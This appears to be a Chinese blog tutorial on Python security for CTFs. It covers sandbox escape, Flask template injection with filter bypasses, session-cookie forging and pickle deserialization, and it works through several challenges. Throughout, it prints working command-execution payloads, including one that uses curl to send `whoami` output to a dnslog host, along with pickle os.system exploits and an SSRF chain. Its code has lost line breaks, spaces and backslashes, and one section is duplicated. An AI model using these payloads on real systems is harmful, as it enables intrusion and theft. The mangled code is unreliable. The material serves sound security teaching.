0x00 前言
在CTF比赛中,Python的题目种类也越来越多。记得之前遇到Python题目的模板注入反序列化题目笔者都会抄一下网上的Payload然后获取flag。但吃鸡腿,不知道鸡腿从何而来,是无法品尝到其中的美味~ 本篇文章以笔者的角度来描述一下这盘子中的美味,来刨析出鸡腿的腿有多么性感。并且笔者会将Python 2 与 Python 3结合,没有下酒菜的酒局是没有味道的。
在之前的《通读审计之HadSky》中, 没有附带源码链接,获得源码链接:
链接: https://pan.baidu.com/s/10D8wizbU_SY5GSXXPmjxEw?pwd=pta9 提取码: pta9 复制这段内容后打开百度网盘手机App,操作更方便哦
--来自百度网盘超级会员v8的分享
0x01 沙箱逃逸原理及利用
相信大家在抄Payload的时候会发现,关于SSTI的Payload都是很长一大串,例如:
这是一个典型的文件读取Payload。可是我们现在并不知道原理,那么跟着笔者一步一步尝试来获取它其中的秘密吧!
一:刨析原理
首先我们需要理解一下Python的几种数据类型,笔者这里将常见数据类型放入一个列表中再进行依次打印,例如:
Python3:
Python2:
我们可以看到,使用type来进行检查数据类型时,会返回 <class 'XXX'>,那么我们会注意到XXX前的class,在编程语言中,class是用来定义类的。是的,没错,在Python中,一个字符串则为str类的对象,一个整形则为int类的对象,一个浮点数据则为float的对象...
我们可以通过id来看一下这些对象的编号是多少,如图:
得出首条结论:在Python中,一切皆对象。
那么知道这些有什么用呢?一个对象则存在属性与方法,我们可以通过dir来进行查看,如图(这里用普通字符串来进行举例):
我们可以看到字符串python2与python3都返回了upper,我们知道upper是一个函数,那么我们使用一下该方法。如图:
因为在Python中一切都是对象,所以方法与类也是对象,如图:
我们现在缺少的只是方法与类的调用而已,文章中不再描述如何调用。
那么现在问题就出来了,我们知道Python中存在数据类型,这些数据类型它们都是一个类,我们是怎么找到这个类并实例化出来它们的?又或者说,在Python中存在一些函数,我们是怎么找到它们并调用的?如何查找到是当前的一个问题。
我们可以通过globals函数来进行查看(globals是获取当前可访问到的变量):
我们可以看到我们定义的变量a已经放入到globals函数当中了,我们可以看到有__builtins__这样一个变量,它是一个模块。并且模块名在Python2中命名为__builtin__,在Python3中又重新命名为了builtins。
我们使用dir看一下该模块中所存在的一些内容。
我们可以看到,我们所使用的基础方法都存放在该模块中,我们使用该模块调用一下print函数来进行测试。
我们可以看到,在Python3中返回正常,Python2却抛出异常,这是因为在Python2中print为一个语句,在Python3中它换成了一个函数。
得出第二条结论:在Python2/3中,任何基础类以及函数都存放在__builtin__/builtins模块中。
那么如果我们通过一些方式,可以定位到__builtin__ / builtins模块,那岂不是可以进行进行调用任意函数了。
现在的问题是我们该怎么定位。
我们知道builtins是存放在globals函数中的,与变量的作用域是有关系的,谈到变量的作用域,我们会想到一个玩意:自定义方法。
我们可以自定义一个方法,将它视为一个对象,使用dir看一下它下面的成员属性。
如图:
果然,在一个普通方法中是存在__globals__这么一个成员属性的,我们可以打印它看一下。
我们可以看到 __globals__ 就是 globals() 函数的返回值,同理,它们下面都存在 __builtins__ 变量,我们可以使用“函数.__globals__['__builtins__'].恶意函数()”来执行一下eval。如图:
我们可以看到,eval被我们成功执行!
而方法也是可以定义在类中的,我们简单定义一个类,并且定义一个__init__魔术方法(__init__是魔术方法,该方法在被类创建时自动调用)。
我们可以看到同样是可以调用eval的。
如果我们不定义__init__会怎么样呢?我们可以看一下。
可以看到,在Python2中会报错,而python3中会返回slot。不定义__init__是不可以访问到__globals__成员属性的,如图:
我们再看一下模块中的方法与当前都有什么区别。
这里区别就很明显了,这里“模块中的方法”中__globals__[__builtins__]中的所有内容都被存放入一个字典中才可以进行调用。我们调用一下eval来进行测试,如图:
当然我们可以使用__import__函数调用os来进行执行命令,如图:
我们可以看到whoami被成功调用。
得出第三条结论:我们可以通过一个普通函数(或类中已定义的方法)对象下的__globals__成员属性来得到__builtins__,从而执行任意函数,这里要注意的是,模块与非模块下的__globals__的区别。
那么实际场景中,根本没有这样一个方法给我们利用。我们应该怎么做?
我们使用dir看一下普通类型(int,str,bool....)的返回结果。如图:
我们查看一下__class__的内容。如图:
可以看到通过__class__成员属性可以得到当前对象是XXX类的实例化。
在Python中,所有数据类型都存放于Object一个大类中,如图:
我们可以通过__bases__/__mro__/__base__来得到object,如图:
可以看到在python2中并没有直接返回object,我们可以再次访问__bases__就可以得到object了,如图:
那么通过__subclasses__即可得到object下的所有子类,如图:
下面我们就可以来依次判断这些类中是否定义__init__(或其他魔术方法)方法,如果定义,那么就可以拿到__init__(或其他魔术方法)下的__globals__[“__builtins__”]从而执行任意函数,编写脚本进行测试:
可以看到这些类都是可以进行利用的类。当然,也可以使用其他魔术方法,这里举例__delete__魔术方法,如图:
得出第四条结论:我们可以通过普通数据类型的__class__成员属性得到所属类,再通过__bases__/__base__/__mro__可以得到object类,再次通过__subclasses__()来得到object下的所有基类,遍历所有基类检查是否存在指定的魔术方法,如果存在,那么即可获取__globals__[__builtins__],就可以调用任意函数了。
如上总结在Python2/3中都是可以进行利用的,只是在Python2中多了一种file的姿势。
如图:
只是file在Python3中被移除了,故Python3中没有此利用姿势。
二:flask模板注入
沙箱逃逸通常与flask的模板注入紧密联系,模板中存在可以植入表达式的可控点那么就会存在SSTI问题。
存在漏洞的代码:
from flask import Flask,render_template,request,render_template_string,session
from datetime import timedelta app = Flask(__name__) app.config['SECRET_KEY'] ='hacker' app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(days=7) @app.route('/test',methods=['GET', 'POST']) deftest(): content = request.args.get("content") template =''' <div> <h1>Oops! That page doesn't exist.</h1> <h3>%s</h3> <h4>Your Money : %s</h4> </div> '''%(content, session.get('money')) return render_template_string(template) @app.route('/sess') deft(): session['money'] =100 return'设置金额成功...' if__name__=='__main__': app.debug =True app.run() |
在/test路由中存在模板注入漏洞,那么我们可以通过传递payload:
?content={{[].__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}} 来进行执行任意命令(__subclasses__可利用的键值可以通过Burp从1-999进行爆破出结果,这里得到80可以被利用),如图:
至此,我们完成了首次模板注入。
但是成熟的模板注入类的题目它会进行一些过滤的。这里简单总结一下。
三:过滤问题总结
这里简单记录一下模板注入中的一些过滤的绕过。
1.过滤中括号
我们知道__subclasses__()返回一个列表,__globals__返回一个字典,而列表的访问语法与字典的访问语法需要借助于中括号,如果将中括号过滤,那么我们怎么办呢?
我们使用dir来查看一下“正常的列表/正常的字典”下的成员属性及方法,如图:
可以看到存在__getitem__方法。
进行调用:
当然,字典的访问也是可以通过__getitem__方法来进行绕过(pop方法也可以被利用)。
1.过滤引号
如果过滤引号,我们岂不是不可以进行模板注入了?
引号则表示str类型的数据,而str类型的数据可以通过变量来表示,这里可以借助于flask中request.args对象来作为变量,以get传递进行赋值。
构造Payload:
?content={{[].__class__.__base__.__subclasses__()[80].__init__.__globals__[request.args.__builtins__][request.args.__import__](request.args.os).popen(request.args.whoami).read()}}&__builtins__=__builtins__&__import__=__import__&os=os&whoami=whoami
如图:
成功执行命令。
1.过滤双下划线
由于在jinja2中允许“对象[属性]”的方式来访问成员属性,如图:
此时的属性放置的内容为字符类型,我们可以通过request.args全程代替。
构造Payload:
?content={{[][request.args.class][request.args.base][request.args.subclasses]()[80][request.args.init][request.args.globals][request.args.builtins][request.args.import](request.args.os).popen(request.args.whoami).read()}}&builtins=__builtins__&import=__import__&os=os&whoami=whoami&class=__class__&base=__base__&subclasses=__subclasses__&init=__init__&globals=__globals__
如图:
当然,也可以通过字符串拼接的方式,构造Payload:
?content={{[]['_'+'_class_'+'_']}},结果如下:
1.过滤{{}}
{{}}通常来表示一个变量,而{%%}则表示为流程语句,虽然不可以回显内容,但是我们可以通过curl来进行外带数据。
Payload:
?content={% if ''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['__import__']('os').popen('curl http://w9y7rp.dnslog.cn/?test=`whoami`').read() !=1 %}1{% endif %}
自定义一个web服务即可接收到,笔者这里使用的是dnslog,得不到发出的参数。如图:
当然反弹shell也是一种不错的姿势,这里就不再描述了。
四:flask的一些其他问题
1.Python的session值篡改攻击
在CTF考点中还存在一种身份伪造类的题目。我们看一下该代码块的sess路由,如图:
from flask import Flask,render_template,request,render_template_string,session
from datetime import timedelta app = Flask(__name__) app.config['SECRET_KEY'] ='hacker' app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(days=7) @app.route('/test',methods=['GET', 'POST']) deftest(): content = request.args.get("content") template =''' <div> <h1>Oops! That page doesn't exist.</h1> <h3>%s</h3> <h4>Your Money : %s</h4> </div> '''%(content, session.get('money')) return render_template_string(template) @app.route('/sess') deft(): session['money'] =100 return'设置金额成功...' if__name__=='__main__': app.debug =True app.run() |
我们可以看到,这里定义了session[money]=100。当我们访问/sess时,服务端就会返回一个jwt给我们,如图:
可以看到session是以jwt来进行存储的,而使用jwt存储是有危害的。
关于jwt的解释:https://www.jianshu.com/p/576dbf44b2ae
只要我们获取SECRET_KEY,那么该JWT是可以进行伪造的。
问题是我们如何进行获取SECRET_KEY?
第一种:通过SSTI的{{config}}
如图:
我们可以看到,{{config}}是可以窃取出SECRET_KEY。
第二种:通过Linux中的/proc/self/environ
这种姿势我们会在“CTF小结”中的一道叫做“[PASECA2019] honey_shop”的题目所记载。它需要任意文件读取的姿势才可以进行得到SECRET_KEY。
第三种:爆破
有一道叫做“[CISCN2019 华北赛区 Day1 Web2]ikun”的题目涉及到了这种姿势,其中又提到了Python反序列化,这里奉上WriteUp:
https://blog.csdn.net/weixin_43345082/article/details/97817909
对于反序列化,笔者会在0x02中进行描述。
我们可以通过flask-session-cookie-manager工具来生成恶意的JWT即可完成身份伪造,工具GitHub:https://github.com/style-404/flask-session-cookie-manager。
首先我们对当前的JWT进行base64解码,如图:
这里可以得出一条JSON数据过来,那么我们使用flask-session-cookie-manager工具,借助SECRET_KEY来将money篡改为999.
工具使用:python3 flask_session_cookie_manager3.py encode -s "secret_key" -t "json"
修改本地的session值,随后访问/test查看结果。
可以看到成功篡改money的值。
1.基于DEBUG的PIN码攻击
它所利用的条件为 任意文件读取+flask的DEBUG模式。
参考文章:https://xz.aliyun.com/t/2553
这里笔者就不再做演示了。
五:部分CTF题目实例
1.Real -> [Flask]SSTI
可以看到表达式被正常解析,那么继续往下操作即可。
构造Payload:
?name={{[].__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['__import__']('os').popen('ls /').read()}}
命令执行结果如图:
1.WEB -> [GYCTF2020]FlaskApp
该题目有两个功能,Base64加密与Base64解密,在Base64解密处存在模板注入。
题目如图:
解密结果:
由此得知存在ssti。
经过测试,得知75存在可利用的function为__init__,如图:
提交后:
但继续往下构造攻击链时,发现过滤了一些敏感关键字,使用open进行读取源码:
源码过滤如图:
我们可以看到万恶的request也被过滤了,但是这里我们可以使用字符拼接来进行绕过,popen可以使用中括号加字符拼接的方式进行调用,那么构造Payload:{{[].__class__.__base__.__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s')['po'+'pen']('ls /').read()}}
编码为base64后提交,查看一下结果:
存在flag关键字,导致我们无法读取,这里我们可以通过命令执行的绕过姿势“\”来进行绕过,再次构造Payload:
{{[].__class__.__base__.__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s')['po'+'pen']('cat /this_is_the_fl\ag.txt').read()}}
编码为base64后进行提交:
1.WEB -> [CSCCTF 2019 Qual]FlaskLight
打开题目源码发现提示参数 search
那么我们可以通过?search={{2*3}}来查看一下结果。
可以看到6弹我们一脸,那么此处存在ssti。
__subclasses__丢进Burp进行爆破键值,如图:
得出下标为59的__init__魔术方法可以被利用,如图:
构造Payload至__globals__发现被过滤,简单访问一下,真的返回500,如图:
可以使用request.arg.x 来进行绕过,构造Payload:
?search={{[].__class__.__base__.__subclasses__()[59].__init__[request.args.g]['__builtins__']['__import__']('os').popen('ls /flasklight').read()}}&g=__globals__
查看结果:
再次构造Payload读取flag:
?search={{[].__class__.__base__.__subclasses__()[59].__init__[request.args.g]['__builtins__']['__import__']('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()}}&g=__globals__
1.WEB -> [pasecactf_2019]flask_ssti
查看源代码,发现Ajax请求:
笔者在构造Payload时,发现过滤了 单引号(‘)、点(.),下划线(_),那么我们可以通过双引号来解析变量,并且使用16进制代替下划线即可。
如图:
构造Payload来进行爆破下标:
?nickname={{[]["x5Fx5Fclassx5Fx5F"]["x5Fx5Fbasex5Fx5F"]["x5Fx5Fsubclassesx5Fx5F"]()[§80§]["x5Fx5Finitx5Fx5F"]}}
发现下标为91的__init__方法可以被利用,如图:
构造Payload执行命令:
?nickname={{[]["x5Fx5Fclassx5Fx5F"]["x5Fx5Fbasex5Fx5F"]["x5Fx5Fsubclassesx5Fx5F"]()[91]["x5Fx5Finitx5Fx5F"]["x5Fx5Fglobalsx5Fx5F"]["x5Fx5Fbuiltinsx5Fx5F"]["x5Fx5Fimportx5Fx5F"]("os")["popen"]("x63x61x74x20x2fx70x72x6fx63x2fx73x65x6cx66x2fx63x77x64x2fx61x70x70x2ex70x79")["read"]()}}
其中
x63x61x74x20x2fx70x72x6fx63x2fx73x65x6cx66x2fx63x77x64x2fx61x70x70x2ex70x79
为 cat /proc/self/cwd/app.py,这里转换可以使用笔者已经写好的脚本:
payload =b'cat /proc/self/cwd/app.py'
string = payload.hex() result ='' for i inrange(0, len(string), 2): result +='\x'+ string[i:i+2] print(result) |
结果如图:
可以看到flag文件被os删掉了,但是flag的值被存放于app.config当中,并且经过了encode函数处理,我们可以看一下encode函数的定义:
是使用的异或算法,那么现在我们只需要从config中拿到加密后的flag值,并且将它再次执行一下encode函数即可得到flag。
再次执行函数
则得到flag。
1.WEB -> [PASECA2019]honey_shop
该题目属于JWT身份伪造攻击,首先我们打开主页,可以看到金额为1336,如图:
则得到flag。
1.WEB -> [PASECA2019]honey_shop
该题目属于JWT身份伪造攻击,首先我们打开主页,可以看到金额为1336,如图:
而flag需要1337。
在/download路由下存在文件下载,猜测存在任意文件下载,那么我们下载../../../../../../../../../proc/self/environ来进行观察,如图:
成功下载到并拿到SECRET_KEY,然后我们对当前网址的jwt使用base64进行解密,得出:
伪造为:{"balance":1338,"purchases":[]},即可购买flag了。
0x02 Python反序列化漏洞利用
一、原理文章推荐
因为在知乎有位师傅写的非常不错,那么笔者在这里也不去班门弄斧。
传送门:https://zhuanlan.zhihu.com/p/89132768
这里做一下总结,并且对一种利用姿势扩大成果,然后分享一道有意思的例题。
二、Python反序列化能干什么?
1.R指令码的RCE
Python的反序列化比PHP危害更大,可以直接进行RCE。
编写测试脚本:
import pickle, os, base64
class Exp(object): def__reduce__(self): return (os.system, ('dir',)) withopen('./hacker.txt', 'wb') as fileObj: pickle.dump(Exp(), fileObj) |
会在当前目录生成hacker.txt,内容为序列化的值。如图:
我们再次使用pickle进行反序列化即可执行dir命令。
这里可以看到成功执行了dir命令。
1.c指令码的变量获取
当R指令码被禁用后,我们可以采取这种姿势来获取变量。
在当前目录下创建flag.py文件,并且存放一个flag变量,当作模块来进行使用。如图:
编写获取flag变量的脚本:
import flag, pickle
class Person(): pass b =b'x80x03c__main__nPersonn)x81}(Vtestncflagnflagnub.' print(pickle.loads(b).test) |
主要思路为:“cflagnflagn“当作test属性的value值压进了前序栈的空dict,随后使用b覆盖了Person类的__dict__成员属性,导致了变量被窃取。
我们可以看到pickle.loads返回的对象下的test就是flag的值,如图:
1.c指令码的变量修改
当R指令码被禁用后,并且find_class函数只允许获取__main__中的变量时,我们可以采取这种姿势来修改任意变量。
在原理文章中并没有提到一种姿势,而有一种姿势也是可以进行利用的。我们先按照原理文章来测试一遍。
测试脚本:
import flag, pickle
class Person(): pass b =b'x80x03c__main__nflagn}(VflagnVhackernub0c__main__nPersonn)x81}(VanVanub.' pickle.loads(b) print(flag.flag) |
主要思路为:使用c将flag模块导入进来,通过ub来更新flag模块的__dict__属性,故可以恶意修改变量的值。
查看结果:
我们可以看到,flag包中的flag变量被成功修改。
那么在反序列化中,一个普通字符串也是可以当作一种数据来进行序列化的,所以这里并不需要Person的类支撑即可完成变量修改。
修改脚本如下:
import flag, pickle
b =b'x80x03c__main__nflagn}(VflagnVhackernub0Van.' print(pickle.loads(b)) print(flag.flag) |
结果:
那么就成功篡改了flag包中的flag变量的内容。
1.__setstate__ 特性 RCE
编写测试脚本:
import flag, pickle
class Person(): pass b =b'x80x03c__main__nobjectn)x81}(V__setstate__ncosnsystemnubVdirnb.' print(pickle.loads(b)) |
主要思路为:借助于__setstate__的特性造成了RCE。
执行结果:
可以看到成功执行了dir命令。
一、近看一道ssrf+反序列化+SSTI的例题
这道题是朋友很早之前就留下来的,在网上也找不到现成的反序列化题目,就用它好了。
题目代码是这样的:
from flask import Flask,render_template
from flask import request import urllib import sys import os import pickle import ctf_config from jinja2 import Template import base64 import io app = Flask(__name__) class RestrictedUnpickler(pickle.Unpickler): deffind_class(self, module, name): if module =='__main__': returngetattr(sys.modules['__main__'], name) raise pickle.UnpicklingError("only __main__") defget_domain(url): if url.startswith('http://'): url = url[7:] ifnot url.find("/") ==-1: domain = url[url.find("@")+1:url.index("/",url.find("@"))] else: domain = url[url.find("@")+1:] print(domain) return domain else: returnFalse @app.route("/", methods=['GET']) defindex(): return render_template("index.html") @app.route("/get_baidu", methods=['GET']) # get_baidu?url=http://127.0.0.1:8000/[email protected]/ defget_baidu(): url = request.args.get("url") if(url ==None): return"please get url" if(get_domain(url) =="www.baidu.com"): content = urllib.request.urlopen(url).read() return content else: return render_template('index.html') @app.route("/admin", methods=['GET']) defadmin(): data = request.args.get("data") if(data ==None): return"please get data" ip = request.remote_addr if ip !='127.0.0.1': return redirect('index') else: name = base64.b64decode(data) ifb'R'in name: return"no __reduce__" name = RestrictedUnpickler(io.BytesIO(name)).load() if name =="admin": t = Template("Hello "+ name) else: t = Template("Hello "+ ctf_config.name) return t.render() if__name__=='__main__': app.debug =False app.run(host='0.0.0.0', port=8000) |
在45行中存在一个判断。
if(get_domain(url) =="www.baidu.com"):
content = urllib.request.urlopen(url).read() return content |
如果进入到该分支则调用至urllib.request.urlopen函数,那么我们看一下get_domain方法是逻辑是怎么样的。
在27行中出现了漏洞问题,如果url中存在“/”,则返回@符号往后的内容,那么这里存在一个伪造的情况,例如:http://127.0.0.1:3306/[email protected]/,
则会匹配到www.baidu.com/,但是实际发送出的HTTP请求还是发送至127.0.0.1身上,所以说这里存在一个SSRF漏洞问题。
而在51-68行中确实验证了访问者的IP(这里可以使用SSRF进行绕过),如图:
61行禁用了R指令,则表示不可以使用__reduce__进行命令执行操作,可以看到63行实例化了RestrictedUnpickler类,而该类则继承了pickle.Unpickler类,如图:
同时重写了find_class的方法,这时c指令只可以进行导入本地模块。而类名中存在“R关键字”,则无法进行__setstate__姿势的RCE,这里利用方式只剩下一种:c指令码的变量修改。
但是变量修改有什么用呢?我们可以注意到第67行的ctf_config包下的name变量,如图:
直接将变量的值拼接到Template方法中,这里存在一个SSTI注入问题。
那么思路就有了:通过get_data路由发送SSRF请求->admin路由接收进行反序列化->修改ctf_config下的name属性为SSTI注入语句->实现RCE。
那么编写POC脚本:
import base64
ssti =b'2*6' payload =b'x80x03c__main__nctf_confign}(VnamenV{{'+ ssti +b'}}nub0V123n.' payload = base64.b64encode(payload).decode('utf-8') print(payload) |
传递Payload:
http://127.0.0.1:8000/get_baidu?url=http://127.0.0.1:8000/admin?data=SSTI的值%[email protected]/
如图:
成功进行SSTI注入,笔者发现__subclasses__()的第81下标存在可利用的function,那么这里直接执行whoami:
可以看到成功执行了“whoami”。
原文始发于微信公众号(Heihu Share):聊一聊我认识的python安全 | 附代码审计源码链接
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论